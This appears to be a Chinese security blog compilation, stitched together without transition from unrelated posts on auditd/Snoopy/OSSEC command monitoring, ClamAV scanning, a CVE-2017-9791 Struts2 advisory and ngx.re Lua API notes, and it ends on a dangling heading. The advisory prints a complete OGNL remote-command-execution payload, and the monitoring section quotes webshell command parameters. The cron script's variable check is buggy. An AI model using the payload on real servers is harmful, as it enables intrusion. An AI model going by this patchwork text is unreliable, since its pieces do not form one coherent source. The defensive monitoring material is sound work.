企业安全建设中非常重要的一项工作就是入侵感知体系建设,不同于网络层的安全防护检测如WAF、IPS、IDS等,入侵感知体系更偏向于被入侵后的异常行为发现,即你的机器已经被黑掉的,你能否第一时间发现并且定位到哪里出了问题。Web中间件的系统命令调用监控是我认为入侵感知中性价比较高的一项监控措施,当然你也可以算作HIDS的一项功能。

举个例子,记得S2-045爆出来的时候,公司的不少站点都受到了影响,即便当时安全、运维和开发的响应速度够快,排查受影响的项目替换Jar包,但是还是有部分机器受到了影响,通过这项监控我可以清楚的定位到哪些机器已经被黑了,攻击者执行了什么,心里有底,不至于盲目的去查找。

我目前在用的是通过Linux系统自带的Auditd服务来监控的系统的EXECVE调用,联动OSSEC报警。另外使用开源工具Snoopy可以,我们之前也提到过Bash命令审计,也见到过有的公司运维就是直接用的Snoopy来做的审计,不过我看了下老外的评论有说到可能会影响到系统的稳定性,暂时没有在生产环境测试。

下面我们就详细说一下Auditd和Snoopy这两项监控方式。

 

0x02 Auditd


auditd服务是Linux自带的审计系统,用来记录审计信息,从安全的角度可以用于对系统安全事件的监控。

auditd服务的配置文件位于/etc/audit/audit.rules,其中每个规则和观察器必须单独在一行中。语法如下:

-a <list>,<action> <options>

<list>配置如下:

task

每个任务的列表。只有当创建任务时才使用。只有在创建时就已知的字段(比如UID)才可以用在这个列表中。

entry

系统调用条目列表。当进入系统调用确定是否应创建审计时使用。

exit

系统调用退出列表。当退出系统调用以确定是否应创建审计时使用。

user

用户消息过滤器列表。内核在将用户空间事件传递给审计守护进程之前使用这个列表过滤用户空间事件。有效的字段只有uid、auid、gid和pid。

exclude

事件类型排除过滤器列表。用于过滤管理员不想看到的事件。用msgtype字段指定您不想记录到日志中的消息。

<action>配置如下:

never

不生成审计记录。

always

分配审计上下文,总是把它填充在系统调用条目中,总是在系统调用退出时写一个审计记录。如果程序使用了这个系统调用,则开始一个审计记录。

<options>配置如下:

-S <syscall>

根据名称或数字指定一个系统。要指定所有系统调用,可使用all作为系统调用名称。

-F <name[=,!=,<,>,<=]value>

指定一个规则字段。如果为一个规则指定了多个字段,则只有所有字段都为真才能启动一个审计记录。每个规则都必须用-F启动,最多可以指定64个规则。

常用的字段如下:

pid

进程ID。

ppid

父进程的进程ID。

uid

用户ID。

gid

组ID。

msgtype

消息类型号。只应用在排除过滤器列表上。

arch

系统调用的处理器体系结构。指定精确的体系结构,比如i686(可以通过uname -m命令检索)或者指定b32来使用32位系统调用表,或指定b64来使用64位系统调用表。

...

下面我们编写测试Java命令监控规则

Jboss的启动账户为nobody,添加审计规则

# grep '\-a' /etc/audit/audit.rules

-a exclude,always -F msgtype=CONFIG_CHANGE

-a exit,always -F arch=b32 -F uid=99 -S execve -k webshell

重启服务

# service auditd restart

Stopping auditd:                                           [  OK  ]

Starting auditd:                                           [  OK  ]

使用菜刀马测试:

菜刀马传递的参数为

tom=M&z0=GB2312&z1=-c/bin/sh&z2=cd /;whoami;echo [S];pwd;echo [E]

所执行的程序如下:

else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);

审计日志如下:

type=EXECVE msg=audit(1500273887.809:7496): argc=3 a0="/bin/sh" a1="-c" a2=6364202F7765622F7072.....

然后对照着日志时间戳去找对应的Nginx Access Log中的请求即可定位到webshell。

这里我们添加的规则是针对uid=99的nobody账户,而针对一些环境jboss的启动账户和运维的操作账户相同的情况,可以针对ppid来监控。

 

0x03 snoopy


项目地址:https://github.com/a2o/snoopy

安装步骤如下:

rm -f snoopy-install.sh &&

wget -O snoopy-install.sh https://github.com/a2o/snoopy/raw/install/doc/install/bin/snoopy-install.sh &&

chmod 755 snoopy-install.sh &&

./snoopy-install.sh stable

输出日志:

SNOOPY INSTALL: Starting installation, log file: /tmp/snoopy-install.log

SNOOPY INSTALL: Installation mode: package-latest-stable

SNOOPY INSTALL: Getting latest Snoopy version... got it, 2.4.6

SNOOPY INSTALL: Downloading from http://source.a2o.si/download/snoopy/snoopy-2.4.6.tar.gz... done.

SNOOPY INSTALL: Unpacking ./snoopy-2.4.6.tar.gz... done.

SNOOPY INSTALL: Configuring... done.

SNOOPY INSTALL: Building... done.

SNOOPY INSTALL: Installing... done.

SNOOPY INSTALL: Enabling... done.



SNOOPY LOGGER is now installed and enabled.



TIP #1: If Snoopy is to be enabled for all processes, you need

        to restart your system, or at least all services on it.

// 如果想要Snoopy作用于所有进程,那么需要重启服务器

TIP #2: If you ever need to disable Snoopy, you should use provided

        'snoopy-disable' script. Use 'snoopy-enable' to reenable it.

// 可以snoopy-disable来关掉监控,使用snoopy-enable来开启监控

TIP #3: Snoopy output can usually be found somewhere in /var/log/*

        Check your syslog configuration for details.:

// Snoopy的日志文件位于/var/log/*

TIP #4: Configuration file location: /etc/snoopy.ini

        See included comments for additional configuration options.

// 配置文件/etc/snoopy.ini

Snoopy wishes you a happy logging experience:)

安装完成后会在/usr/local/lib目录下创建libsnoopy.so文件

[root@template log]# ls -alt /usr/local/lib | head -n 10

总用量 8512

drwxr-xr-x.  5 root root    4096 6月   4 11:22 .

-rwxr-xr-x.  1 root root     959 6月   4 11:22 libsnoopy.la

lrwxrwxrwx.  1 root root      18 6月   4 11:22 libsnoopy.so -> libsnoopy.so.0.0.0

lrwxrwxrwx.  1 root root      18 6月   4 11:22 libsnoopy.so.0 -> libsnoopy.so.0.0.0

-rwxr-xr-x.  1 root root  218012 6月   4 11:22 libsnoopy.so.0.0.0

并在/etc/ld.so.preload里加入/usr/local/lib/libsnoopy.so

[root@template log]# cat /etc/ld.so.preload

/usr/local/lib/libsnoopy.so

默认会输出在/var/log/secure

[root@template ~]# tail -n 1 /var/log/secure

Jun  4 16:48:04 template snoopy[2024]: [uid:0 sid:1499 tty:/dev/pts/1 cwd:/root filename:/usr/bin/tail]: tail -n 1 /var/log/secure

执行snoopy-disable

[root@template ~]# snoopy-disable

SNOOPY: Removing from /etc/ld.so.preload: /usr/local/lib/libsnoopy.so

SNOOPY: Disabled.

SNOOPY: Hint: Your system needs to be restarted to finish Snoopy cleanup.

执行snoopy-enable

[root@template ~]# snoopy-enable

SNOOPY: Adding to /etc/ld.so.preload:     /usr/local/lib/libsnoopy.so

SNOOPY: Hint #1: Reboot your machine to load Snoopy system-wide.

SNOOPY: Hint #2: Check your log files for output.

SNOOPY: Enabled.

我们来看下/etc/snoopy.ini中的配置项,日志格式可以自己定义,默认的日志格式如下

; Default value:

;   "[uid:%{uid} sid:%{sid} tty:%{tty} cwd:%{cwd} filename:%{filename}]: %{cmdline}"

可以定制一些过滤条件,例如

; List of available filters:

; - exclude_spawns_of   ; (available=yes) Exclude log entries that occur in specified process trees

; - exclude_uid         ; (available=yes) Exclude these UIDs from logging

; - only_root           ; (available=yes) Only log root commands

; - only_tty            ; (available=yes) Only log commands associated with a TTY

; - only_uid            ; (available=yes) Only log commands executed by these UIDs

可以指定Syslog的Facility

; Default value:

;   LOG_AUTHPRIV

可以指定Syslog的Level

; Default value:

;   LOG_INFO

这里我们测试一下,修改/etc/snoopy.ini配置:

syslog_facility = LOG_LOCAL6

在/etc/rsyslog.conf添加一条配置

local6.info                                             /tmp/snoopy.log

重启rsyslog服务

[root@template ~]# service rsyslog restart

然后我们看下输出

[root@template ~]# tail -n 1 /tmp/snoopy.log

Jun  4 17:00:30 template snoopy[2141]: [uid:0 sid:2068 tty:/dev/pts/2 cwd:/root filename:/usr/bin/tail]: tail -n 1 /tmp/snoopy.log

同样也可以修改rsyslog的配置输出到日志中心。

 

0x04 OSSEC告警配置


这里我使用的是OSSEC监控/var/log/audit/audit.log日志

OSSEC本身已经包含了auditd事件的解码规则,例如:

<decoder name="auditd">

  <prematch>^type=</prematch>

</decoder>

.......

但是在RULES里面没有找到现成的规则,编辑local_rules.xml,新增

<group name="syslog,auditd,">

  <rule id="110000" level="0" noalert="1">

    <decoded_as>auditd</decoded_as>

    <description>AUDITD messages grouped.</description>

  </rule>

  <rule id="110001" level="10">

    <if_sid>110000</if_sid>

    <match>EXECVE</match>

    <description>Java execution command</description>

  </rule>

</group>

测试

[root@localhost ossec]# ./bin/ossec-logtest

2017/07/17 16:28:26 ossec-testrule: INFO: Reading local decoder file.

2017/07/17 16:28:26 ossec-testrule: INFO: Started (pid: 9463).

ossec-testrule: Type one log per line.



type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"





**Phase 1: Completed pre-decoding.

       full event: 'type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"'

       hostname: 'localhost'

       program_name: '(null)'

       log: 'type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"'



**Phase 2: Completed decoding.

       decoder: 'auditd'



**Phase 3: Completed filtering (rules).

       Rule id: '110001'

       Level: '10'

       Description: 'Java execution command'

**Alert to be generated.

然后在Agent端添加监控文件

  <localfile>

    <log_format>syslog</log_format>

    <location>/var/log/audit/audit.log</location>

  </localfile>

然后jspspy执行系统命令,可以看到告警如下

[root@localhost ossec]# tail -f /var/ossec/logs/alerts/alerts.log

** Alert 1500280231.400419: mail  - syslog,auditd,

2017 Jul 17 16:30:31 (agent-31) 10.110.1.31->/var/log/audit/audit.log

Rule: 110001 (level 10) -> 'Java execution command'

type=EXECVE msg=audit(1500280229.507:7665): argc=1 a0="pwd"

这里还需考虑的一个问题是白名单,例如公司的一些站点本身就会调用视频处理的一些功能,也会调用系统命令。所以为了避免误报,需要新增一个白名单功能。

这里我们修改一下local_rules.xml,新增白名单规则,并且放到EXECVE规则上面。

<group name="syslog,auditd,">

  <rule id="110000" level="0" noalert="1">

    <decoded_as>auditd</decoded_as>

    <description>AUDITD messages grouped.</description>

  </rule>

  <rule id="110001" level="0">

    <if_sid>110000</if_sid>

    <regex>whoami|passwd</regex>

    <description>Java execution white list</description>

  </rule>

  <rule id="110002" level="10">

    <if_sid>110000</if_sid>

    <match>EXECVE</match>

    <description>Java execution command</description>

  </rule>

</group>

如上所示,执行whoami和cat /etc/passwd的时候不会产生告警。

 

[root@server120 local]# yum install gcc openssl openssl-devel pcre pcre-devel clamav clamd -y

安装完成后,需要升级病毒库。
升级程序为/usr/bin/freshclam。
默认的配置文件为/etc/freshclam.conf,内容如下

[root@localhost ossec]# grep -v '^$' /etc/freshclam.conf | grep -v '^#'
/var/lib/clamav #病毒库的位置
UpdateLogFile /var/log/clamav/freshclam.log
LogSyslog yes
DatabaseOwner clam
DatabaseMirror db.local.clamav.net #病毒同步的请求地址
DatabaseMirror db.local.clamav.net #病毒同步的请求地址

这里修改一下配置文件:

[root@localhost ossec]# grep -v '^$' /etc/freshclam.conf | grep -v '^#'
DatabaseDirectory /var/lib/clamav
UpdateLogFile /var/log/clamav/freshclam.log
DatabaseOwner clam
DatabaseMirror db.cn.clamav.net
DatabaseMirror db.local.clamav.net

然后更新一下病毒库

[root@localhost ossec]# /usr/bin/freshclam
[root@localhost clamav]# ll /var/lib/clamav/
total 341836
-rw-r--r-- 1 clam clam 693248 Jul 14 10:20 bytecode.cld
-rw-r--r-- 1 clam clam 41839208 Jul 14 10:20 daily.cvd
-rw-r--r-- 1 clam clam 307499008 Jul 14 10:03 main.cld
-rw------- 1 clam clam 156 Jul 14 10:22 mirrors.dat

其中daily.cld与daily.cvd相同,只不过daily.cvd是个压缩文件,而daily.cld不是。
freshclam会判断自从上一次检测后是否有新的更新,如果有则会下载diff文件,如果下载diff文件,则会下载一个最新的daily.cvd。

Clamav会添加一个每天执行的定时任务/etc/cron.daily/freshclam,每天更新病毒库文件。

LOG_FILE="/tmp/freshclam.log"
if [ ! -f "$LOG_FILE" ]; then
    touch "$LOG_FILE"
    chmod 644 "$LOG_FILE"
    chown clam.clam "$LOG_FILE"
fi

/usr/bin/freshclam \
    --quiet \
    --datadir="/var/lib/clamav" \
    --log="$LOG_FILE"

 

病毒库更新完成后,执行扫描任务。
这里的想法是OSSEC本身已经有了clamav扫描结果的解码和rule文件
etc/decoder.xml如下:

<decoder name="clamd">
  <program_name>^clamd</program_name>
</decoder>

<decoder name="freshclam">
  <program_name>^freshclam</program_name>
</decoder>

rules/clam_av_rules.xml如下:

  <rule id="52502" level="8">
    <if_sid>52500</if_sid>
    <match>FOUND</match>
    <description>Virus detected</description>
    <group>virus</group>
  </rule>

通过decoder可以看到这里匹配的是Syslog头中的程序为clamd,也就是必须是syslog格式才能解析告警,而默认的-l参数输出非syslog格式,如下测试:
test目录下包含了一些测试的样本文件,我拷贝之前应急拿的一个文件放到了/tmp下

[root@localhost ossec]# /usr/bin/clamscan -i -r /tmp/ -l /var/log/clamav.log
/tmp/makeudp: Unix.Trojan.Agent-37008 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 6300501
Engine version: 0.99.2
Scanned directories: 221
Scanned files: 95
Infected files: 1
Data scanned: 2.79 MB
Data read: 2.62 MB (ratio 1.06:1)
Time: 11.918 sec (0 m 11 s)

查看/var/log/clamav.log,可以看到非Syslog格式

[root@localhost ossec]# cat /var/log/clamav.log

-------------------------------------------------------------------------------

/tmp/makeudp: Unix.Trojan.Agent-37008 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 6300501
Engine version: 0.99.2
Scanned directories: 221
Scanned files: 95
Infected files: 1
Data scanned: 2.79 MB
Data read: 2.62 MB (ratio 1.06:1)
Time: 11.918 sec (0 m 11 s)

通过查看/etc/clamd.conf可以看到里面有参数LogSyslog

[root@localhost ossec]# cat /etc/clamd.conf | grep LogSys
LogSyslog yes

可以配置开启syslog,默认输出到local6,但是测试发现这个配置文件不是默认加载的,写进去的配置无法生效,所以这里用logger来输出syslog。
修改一下rsyslog的配置

*.info;mail.none;authpriv.none;cron.none;local6.none /var/log/messages #添加local6.none
local6.notice /var/log/clamav.log

[root@localhost ossec]# service rsyslog restart
[root@localhost ossec]# /usr/bin/clamscan --infected -r /tmp -i | logger -it clamd -p local6.notice
[root@localhost ossec]# cat /var/log/clamav.log 
Jul 14 11:22:45 localhost clamd[1723]: /tmp/makeudp: Unix.Trojan.Agent-37008 FOUND
Jul 14 11:22:45 localhost clamd[1723]: 
Jul 14 11:22:45 localhost clamd[1723]: ----------- SCAN SUMMARY -----------
Jul 14 11:22:45 localhost clamd[1723]: Known viruses: 6300501
Jul 14 11:22:45 localhost clamd[1723]: Engine version: 0.99.2
Jul 14 11:22:45 localhost clamd[1723]: Scanned directories: 221
Jul 14 11:22:45 localhost clamd[1723]: Scanned files: 95
Jul 14 11:22:45 localhost clamd[1723]: Infected files: 1
Jul 14 11:22:45 localhost clamd[1723]: Data scanned: 2.79 MB
Jul 14 11:22:45 localhost clamd[1723]: Data read: 2.62 MB (ratio 1.06:1)
Jul 14 11:22:45 localhost clamd[1723]: Time: 11.950 sec (0 m 11 s)

这里我们用OSSEC监控一下这个文件,添加配置

  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/clamav.log</location>
  </localfile>

[root@localhost ossec]# /var/ossec/bin/ossec-control restart

可以看到产生的告警如下:

[root@localhost ossec]# tail -n 5 /var/ossec/logs/alerts/alerts.log 
** Alert 1500002954.2336: mail - clamd,freshclam,virus
2017 Jul 14 11:29:14 (192.168.192.1953) any->/var/log/clamav.log
Rule: 52502 (level 8) -> 'Virus detected'
Jul 14 11:29:14 localhost clamd[2077]: /tmp/makeudp: Unix.Trojan.Agent-37008 FOUND

这里另外需要考虑四个问题
1)如何添加病毒库白名单
在病毒库所在目录创建文件:whitelist-signatures.ign2
以脏牛为例,添加内容:Unix.Exploit.CVE_2016_5195-2

2)文件软链问题,是否会重复扫描。

[root@server120 tmp]# /usr/local/clamav/bin/clamscan -h
--follow-dir-symlinks[=0/1(*)/2] Follow directory symlinks (0 = never, 1 = direct, 2 = always)
--follow-file-symlinks[=0/1(*)/2] Follow file symlinks (0 = never, 1 = direct, 2 = always)

0表示不检测软链;1表示需要向clamscan传递参数指定文件;2表示检测软链。默认值为1。
这里创建软链测试一下

[root@server120 tmp]# ln -s /tmp/makeudp /tmp/makeudp1 

当指定follow-file-symlinks=0时,软链文件没有扫出。

[root@server120 tmp]# /usr/local/clamav/bin/clamscan -i --follow-file-symlinks=0 -r /tmp 
/tmp/makeudp: Unix.Trojan.Agent-37008 FOUND

当指定follow-file-symlinks=1时,不传递参数,软链文件没有扫出。

[root@server120 tmp]# /usr/local/clamav/bin/clamscan -i --follow-file-symlinks=1 -r /tmp 
/tmp/makeudp: Unix.Trojan.Agent-37008 FOUND

当指定follow-file-symlinks=1时,传递参数/tmp/makeudp,软链文件可以扫出。

[root@server120 tmp]# /usr/local/clamav/bin/clamscan -i --follow-file-symlinks=1 -r /tmp /tmp/makeudp
/tmp/makeudp: Unix.Trojan.Agent-37008 FOUND
/tmp/makeudp: Unix.Trojan.Agent-37008 FOUND

当指定follow-file-symlinks=2时,软链文件可以扫出。

[root@server120 tmp]# /usr/local/clamav/bin/clamscan -i --follow-file-symlinks=2 -r /tmp 
/tmp/makeudp1: Unix.Trojan.Agent-37008 FOUND
/tmp/makeudp: Unix.Trojan.Agent-37008 FOUND

所以默认就不会扫描软链文件。
3)很多机器都挂载了存储,需要排除存储目录。
可以通过–exclude-dir=”^/sys”来排除掉。
10和192开头的挂载排除掉,如下所示:

df -h | egrep '(^10\.|^192\.)' | awk '{print $6}' | sed 's/^/^/' | xargs | sed 's/ /|/g'

4)因为是定时任务每天凌晨执行,如果扫描到了存储设备,很有可能一天扫描不完,需要做判断,如果扫描任务还存在则不扫描;另外针对这种扫描时间超长的事件也需要告警出来,所以需要新增ossec的检测规则扫描时间超过6小时告警。
rules/clam_av_rules.xml新增:

  <rule id="52510" level="7">
      <if_sid>52500</if_sid>
      <match>Time: </match>      
      <regex>\(\d\d\d\d |\(4\d\d |\(5\d\d |\(6\d\d |\(7\d\d |\(8\d\d |\(9\d\d |\(36\d |\(37\d |\(38\d |\(39\d </regex>
      <description>ClamAV scan time over 6hours</description>
  </rule>

PS:这里的正则写成\d{4}不行,[1-9]也不行,无法匹配到
然后测试一下OSSEC告警:

Jul 14 11:29:15 localhost clamd[2077]: Time: 11.888 sec (360 m 11 s)


**Phase 1: Completed pre-decoding.
       full event: 'Jul 14 11:29:15 localhost clamd[2077]: Time: 11.888 sec (360 m 11 s)'
       hostname: 'localhost'
       program_name: 'clamd'
       log: 'Time: 11.888 sec (360 m 11 s)'

**Phase 2: Completed decoding.
       decoder: 'clamd'

**Phase 3: Completed filtering (rules).
       Rule id: '52510'
       Level: '7'
       Description: 'ClamAV scan time over 6hours'
**Alert to be generated.

 

最终执行的定时任务脚本如下:

#!/bin/bash

WHITEDIR="^/proc/|^/sys/|^/data|^/test|/upload"
ps axu | grep clamscan | grep -v grep > /dev/null
if [[ $? == 0 ]]; then
       exit
fi
NFSDIR=`df -h | egrep '(^10\.|^192\.)' | awk '{print $6}' | sed 's/^/^/' | xargs | sed 's/ /|/g'`

if [[ -n $NFS ]]; then
        WHITEDIR="${WHITEDIR}|${NFSDIR}"
fi
COMMAND="/usr/bin/clamscan  -i --exclude-dir='${WHITEDIR}' -r / | logger -it clamd  -p local6.notice"

if [ -f "/usr/bin/clamscan" ];then
        eval $COMMAND &
fi

 

漏洞编号
CVE-2017-9791

漏洞描述
在Struts 2.3.x 系列的 Showcase 应用中演示Struts2-struts1-plugin插件中存在一处任意代码执行漏洞。当你的应用使用了Struts2-struts1-plugin时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行。

[root@server144 webapps]# ll struts2-showcase/WEB-INF/lib/struts2-struts1-plugin-2.3.20.jar
-rw-r--r-- 1 root root 32799 Nov 21 2014 struts2-showcase/WEB-INF/lib/struts2-struts1-plugin-2.3.20.jar

漏洞测试:

http://192.168.192.144:32108/struts2-showcase/integration/editGangster.action

提交name值为:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

解决方案:
1)停用 showcase.war
2)开发者通过使用 resource keys 替代将原始消息直接传递给 ActionMessage 的方式。 如下所示:

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));

请不要使用如下的方式

messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));

参考链接:
http://www.mamicode.com/info-detail-1895073.html
https://github.com/jas502n/st2-048

ngx.re.match

语法:captures, err = ngx.re.match(subject, regex, options?, ctx?, res_table?)

只有第一次匹配的结果被返回,如果没有匹配,则返回nil;或者匹配过程中出现错误时,也会返回nil,此时错误信息会被保存在err中。

当匹配的字符串找到时,一个Lua table captures会被返回,captures[0]中保存的就是匹配到的字串,captures[1]保存的是用括号括起来的第一个子模式的结果,captures[2]保存的是第二个子模式的结果,依次类似。

    local m, err = ngx.re.match("hello, 1234", "[0-9]+")
    if m then
        -- m[0] == "1234"
    else
        if err then
            ngx.log(ngx.ERR, "error: ", err)
            return
        end
 
        ngx.say("match not found")
    end

上面例子中,匹配的字符串是1234,因此m[0] == “1234”,但是没有用括号括起来的子模式,因此,m[1],m[2]等均为nil。

    local m, err = ngx.re.match("hello, 1234", "([0-9])[0-9]+")
    -- m[0] == "1234"
    -- m[1] == "1"

命名方式的捕获,从v0.7.14版本后开始支持,如下所示:

例1:
    local m, err = ngx.re.match("hello, 1234", "([0-9])(?<remaining>[0-9]+)")
    -- m[0] == "1234"
    -- m[1] == "1"
    -- m[2] == "234"
    -- m["remaining"] == "234"
例2:
    local m, err = ngx.re.match("hello, world", "(world)|(hello)|(?<named>howdy)")
    -- m[0] == "hello"
    -- m[1] == nil
    -- m[2] == "hello"
    -- m[3] == nil
    -- m["named"] == nil

例2中,为什么m[1]等于nil?因为在给定的模式串中,最先匹配的是hello,因此,其他子模式在找到的匹配串中查找不到对应的匹配串,因此,除了hello子模式外,其他的子模式的匹配结果都是nil。一定要记住,是谁最先被匹配的

options选项可以是下面的取值的组合:

 a 锚定模式,只从头开始匹配. 
 d DFA模式,或者称最长字符串匹配语义,需要PCRE 6.0+支持.
 D 允许重复的命名的子模式,该选项需要PCRE 8.12+支持,例如
 local m = ngx.re.match("hello, world",
 "(?<named>\w+), (?<named>\w+)",
 "D")
 -- m["named"] == {"hello", "world"}
 i 大小写不敏感模式.
 j 启用PCRE JIT编译, 需要PCRE 8.21+ 支持,并且必须在编译时加上选项--enable-jit,
 为了达到最佳性能,该选项总是应该和'o'选项搭配使用. 
 J 启用PCRE Javascript的兼容模式,需要PCRE 8.12+ 支持. 
 m 多行模式.
 o 一次编译模式,启用worker-process级别的编译正则表达式的缓存.
 s 单行模式.
 u UTF-8模式. 该选项需要在编译PCRE库时加上--enable-utf8 选项.
 U 与"u" 选项类似,但是该项选禁止PCRE对subject字符串UTF-8有效性的检查.
 x 扩展模式

两个例子:

    local m, err = ngx.re.match("hello, world", "HEL LO", "ix")
    -- m[0] == "hello"
    local m, err = ngx.re.match("hello, 美好生活", "HELLO, (.{2})", "iu")
    -- m[0] == "hello, 美好"
    -- m[1] == "美好"

第四个可选参数ctx可以传入一个Lua Table,传入的Lua Table可以是一个空表,也可以是包含pos字段的Lua Table。如果传入的是一个空的Lua Table,那么,ngx.re.match将会从subject字符串的起始位置开始匹配查找,查找到匹配串后,修改pos的值为匹配字符串的下一个位置的值,并将pos的值保存到ctx中,如果匹配失败,那么pos的值保持不变;如果传入的是一个非空的Lua Table,即指定了pos的初值,那么ngx.re.match将会从指定的pos的位置开始进行匹配,如果匹配成功了,修改pos的值为匹配字符串的下一个位置的值,并将pos的值保存到ctx中,如果匹配失败,那么pos的值保持不变。

    local ctx = {}
    local m, err = ngx.re.match("1234, hello", "[0-9]+", "", ctx)
         -- m[0] = "1234"
         -- ctx.pos == 5
    local ctx = { pos = 2 }
    local m, err = ngx.re.match("1234, hello", "[0-9]+", "", ctx)
         -- m[0] = "34"
         -- ctx.pos == 5

注意:

如果需要传入ctx参数,但并不需要第三个可选参数options时,第三个参数也不能简单去掉,这时需要传入一个空的字符串作为第三个参数的值。

第四个可选参数还不是很熟悉,暂且留空。

 

ngx.re.find

语法:from, to, err = ngx.re.find(subject, regex, options?, ctx?, nth?)

该方法与ngx.re.match方法基本类似,不同的地方在于ngx.re.find返回的是匹配的字串的起始位置索引和结束位置索引,如果没有匹配成功,那么将会返回两个nil,如果匹配出错,还会返回错误信息到err中。

例子:

    local s = "hello, 1234"
    local from, to, err = ngx.re.find(s, "([0-9]+)", "jo")
    if from then
        ngx.say("from: ", from)
        ngx.say("to: ", to)
        ngx.say("matched: ", string.sub(s, from, to))
    else
        if err then
            ngx.say("error: ", err)
            return
        end
        ngx.say("not matched!")
    end

输出结果:

from: 8

to: 11

matched: 1234

该方法相比ngx.re.match,不会创建新的Lua字符串,也不会创建新的Lua Table,因此,该方法比ngx.re.match更加高效,因此,在可以使用ngx.re.find的地方应该尽量使用。

第五个参数可以指定返回第几个子模式串的起始位置和结束位置的索引值,默认值是0,此时将会返回匹配的整个字串;如果nth等于1,那么将返回第一个子模式串的始末位置的索引值;如果nth等于2,那么将返回第二个子模式串的始末位置的索引值,依次类推。如果nth指定的子模式没有匹配成功,那么将会返回两个nil。

    local str = "hello, 1234"
    local from, to = ngx.re.find(str, "([0-9])([0-9]+)", "jo", nil, 2)
    if from then
        ngx.say("matched 2nd submatch: ", string.sub(str, from, to))  -- yields "234"
    end

 

ngx.re.gmatch

语法:iterator, err = ngx.re.gmatch(subject, regex, options?)

与ngx.re.match相似,区别在于该方法返回的是一个Lua的迭代器,这样就可以通过迭代器遍历所有匹配的结果。

如果匹配失败,将会返回nil,如果匹配出现错误,那么还会返回错误信息到err中。

    local iterator, err = ngx.re.gmatch("hello, world!", "([a-z]+)", "i")
    if not iterator then
        ngx.log(ngx.ERR, "error: ", err)
        return
    end
 
    local m
    m, err = iterator()    -- m[0] == m[1] == "hello"
    if err then
        ngx.log(ngx.ERR, "error: ", err)
        return
    end
 
    m, err = iterator()    -- m[0] == m[1] == "world"
    if err then
        ngx.log(ngx.ERR, "error: ", err)
        return
    end
 
    m, err = iterator()    -- m == nil
    if err then
        ngx.log(ngx.ERR, "error: ", err)
        return
    end

更多情时候,只需要把迭代过程放入一个while循环中即可:

    local it, err = ngx.re.gmatch("hello, world!", "([a-z]+)", "i")
    if not it then
        ngx.log(ngx.ERR, "error: ", err)
        return
    end
 
    while true do
        local m, err = it()
        if err then
            ngx.log(ngx.ERR, "error: ", err)
            return
        end
 
        if not m then
            -- no match found (any more)
            break
        end
 
        -- found a match
        ngx.say(m[0])
        ngx.say(m[1])
    end

options选项的使用与ngx.re.match中的options选项的用法是一样的。

注意点:

ngx.re.gmatch返回的迭代器只能在一个请求所在的环境中使用,就是说,我们不能把返回的迭代器赋值给持久存在的命名空间(比如一个Lua Packet)中的某一个变量。

 

ngx.re.sub

语法:newstr, n, err = ngx.re.sub(subject, regex, replace, options?)

该方法主要实现匹配字符串的替换,会用replace替换匹配的字串,replace可以是纯字符串,也可以是使用$0, $1等子模式串的形式,ngx.re.sub返回进行替换后的完整的字符串,同时返回替换的总个数;options选项,与ngx.re.match中的options选项是一样的。

    local newstr, n, err = ngx.re.sub("hello, 1234", "([0-9])[0-9]", "[$0][$1]")
    if newstr then
        -- newstr == "hello, [12][1]34"
        -- n == 1
    else
        ngx.log(ngx.ERR, "error: ", err)
        return
    end

在上面例子中,$0表示整个匹配的子串,$1表示第一个子模式匹配的字串,以此类推。

可以用大括号{}将相应的0,1,2…括起来,以区分一般的数字:

    local newstr, n, err = ngx.re.sub("hello, 1234", "[0-9]", "${0}00")
        -- newstr == "hello, 100234"
        -- n == 1

如果想在replace字符串中显示$符号,可以用$进行转义(不要用反斜杠\$对美元符号进行转义,这种方法不会得到期望的结果):

    local newstr, n, err = ngx.re.sub("hello, 1234", "[0-9]", "$$")
        -- newstr == "hello, $234"
        -- n == 1

如果replace是一个函数,那么函数的参数是一个”match table”, 而这个”match table”与ngx.re.match中的返回值captures是一样的,replace这个函数根据”match table”产生用于替换的字符串。

    local func = function (m)
        return "[" .. m[0] .. "][" .. m[1] .. "]"
    end
    local newstr, n, err = ngx.re.sub("hello, 1234", "( [0-9] ) [0-9]", func, "x")
        -- newstr == "hello, [12][1]34"
        -- n == 1

注意:

通过函数形式返回的替换字符串中的美元符号$不再是特殊字符,而只是被看作一个普通字符。

 

ngx.re.gsub

语法:newstr, n, err = ngx.re.gsub(subject, regex, replace, options?)

该方法与ngx.re.sub是类似的,但是该方法进行的是全局替换。

看两个例子:

    local newstr, n, err = ngx.re.gsub("hello, world", "([a-z])[a-z]+", "[$0,$1]", "i")
    if newstr then
        -- newstr == "[hello,h], [world,w]"
        -- n == 2
    else
        ngx.log(ngx.ERR, "error: ", err)
        return
    end
    local func = function (m)
        return "[" .. m[0] .. "," .. m[1] .. "]"
    end
    local newstr, n, err = ngx.re.gsub("hello, world", "([a-z])[a-z]+", func, "i")
        -- newstr == "[hello,h], [world,w]"
        -- n == 2

OSSEC是一款开源的多平台的入侵检测系统,可以运行于Windows, Linux, OpenBSD/FreeBSD, 以及 MacOS等操作系统中。包括了日志分析,全面检测,root-kit检测。

1. 测试和验证OSSEC泛化及告警规则

